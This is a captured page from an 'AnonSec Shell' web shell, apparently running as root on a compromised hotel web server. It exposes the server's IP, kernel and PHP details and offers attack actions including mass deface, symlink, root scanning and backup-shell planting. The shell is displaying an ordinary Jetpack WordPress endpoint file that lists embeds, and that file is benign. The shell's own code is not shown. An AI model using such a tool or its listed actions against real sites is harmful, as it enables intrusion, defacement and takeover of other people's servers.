AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/jetpack/json-endpoints/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/jetpack/json-endpoints/class.wpcom-json-api-list-embeds-endpoint.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * List Embeds endpoint.
 */
new WPCOM_JSON_API_List_Embeds_Endpoint(
	array(
		'description'          => 'Get a list of embeds available on a site. Note: The current user must have publishing access.',
		'group'                => 'sites',
		'stat'                 => 'embeds',
		'method'               => 'GET',
		'path'                 => '/sites/%s/embeds',
		'path_labels'          => array(
			'$site' => '(int|string) Site ID or domain',
		),
		'response_format'      => array(
			'embeds' => '(array) A list of supported embeds by their regex pattern.',
		),
		'example_request'      => 'https://public-api.wordpress.com/rest/v1/sites/82974409/embeds',
		'example_request_data' => array(
			'headers' => array(
				'authorization' => 'Bearer YOUR_API_TOKEN',
			),
		),
	)
);

/**
 * List Embeds Endpoint class.
 *
 * /sites/%s/embeds -> $blog_id
 */
class WPCOM_JSON_API_List_Embeds_Endpoint extends WPCOM_JSON_API_Endpoint {
	/**
	 * API Callback.
	 *
	 * @param string $path - the path.
	 * @param int    $blog_id - the blog ID.
	 */
	public function callback( $path = '', $blog_id = 0 ) {
		$blog_id = $this->api->switch_to_blog_and_validate_user( $this->api->get_blog_id( $blog_id ) );
		if ( is_wp_error( $blog_id ) ) {
			return $blog_id;
		}

		// permissions check.
		if ( ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error( 'unauthorized', 'Your token must have permission to post on this blog.', 403 );
		}

		// list em.
		$output = array( 'embeds' => array() );

		if ( ! function_exists( '_wp_oembed_get_object' ) ) {
			require_once ABSPATH . WPINC . '/class-oembed.php';
		}

		global $wp_embed;
		$oembed = _wp_oembed_get_object();

		foreach ( $wp_embed->handlers as $handlers ) {
			foreach ( $handlers as $handler ) {
				if ( ! empty( $handler['regex'] ) ) {
					$output['embeds'][] = $handler['regex'];
				}
			}
		}

		foreach ( $oembed->providers as $regex => $oembed_info ) {
			if ( ! empty( $regex ) ) {
				$output['embeds'][] = $regex;
			}
		}

		return $output;
	}
}

Anon7 - 2022
AnonSec Team